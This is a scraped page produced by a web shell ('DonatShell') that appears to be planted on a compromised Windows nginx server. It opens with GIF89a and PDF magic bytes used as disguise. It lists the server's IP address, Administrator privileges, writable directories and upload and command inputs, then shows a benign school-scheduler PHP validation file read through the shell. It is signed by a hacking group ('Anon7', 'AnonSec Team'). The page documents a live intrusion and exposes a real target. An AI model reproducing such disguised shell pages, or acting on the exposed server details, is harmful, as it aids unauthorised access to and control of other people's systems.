GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Scheduler/Schedule/ScheduleClass/Verify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Scheduler/Schedule/ScheduleClass/Verify/scheduleclassSection.phpinc
<?
// Schedule/ScheduleClass/Verify/scheduleclassSection.phpinc
// Verify the schedule class scheduleclassSections.

t_Begin(d_O()); // Begin TRACKing .phpinc.

// Verify scheduleclassSections.
#$f['scheduleclassSection'] == 41 | 51,52 
f('scheduleclassSection');
if ( $f['scheduleclassSection'] != '' ) {
	$scheduleclassSections = explode(',',$f['scheduleclassSection']);
	$scheduleclassSectionsINSERTed = array();
	$sectionIndex = 0;
	$errorMessage = '';
	$errorPrefix = '';
	foreach ( $scheduleclassSections as $scheduleclassSection ) {
		$sectionIndex++;
															// is_valid($formLabel, $value, $fieldName, $tableName, $zeroIdOK, $database, $DEBUG)
		$scheduleclassSectionValid = is_valid('Section', trim($scheduleclassSection), 'scheduleclassSection', 'scheduleclasssection',false,false,d_O());
		d_Var('$scheduleclassSectionValid',$scheduleclassSectionValid);
		#$scheduleclassSectionValid = true;		
		if (count($scheduleclassSections) == 1) {
			$sectionText = 'Section';
		} else {
			$sectionText = ordinalNumber($sectionIndex). ' Section';
		}
		if ( $scheduleclassSectionValid !== true ) {
			d_Line('error','e');
			$errorMessage .= $errorPrefix.str_replace('Section',$sectionText,$scheduleclassSectionValid);
			$errorPrefix = "\n";
		} elseif ( !is_numeric($scheduleclassSection) ) {
			// Error: non-numeric section.
			d_Line('error','e');
			$errorMessage .= $errorPrefix."The $sectionText number [$scheduleclassSection] is not a number.";
			$errorPrefix = "\n";
		} elseif ( !in_array($scheduleclassSection,$scheduleclassSectionsINSERTed) ) {
			$scheduleclassSectionsINSERTed[] = $scheduleclassSection;
		} else {
			// Error: duplicate section.
			d_Line('error','e');
			$errorMessage .= $errorPrefix."Duplicate section number $scheduleclassSection in [".$f['scheduleclassSection']."].";
			$errorPrefix = "\n";
		}
	}
} else {
	// Error: duplicate section.
	d_Line('error','e');
	$errorMessage = "No section number entered.";
}
d_V('errorMessage');
if ( $errorMessage != '') {
	$error['scheduleclassSection'] = $errorMessage;
}
#d_On('foot');
t_End(); // End TRACKing scheduleclassSection.phpinc.
?>

Anon7 - 2022
AnonSec Team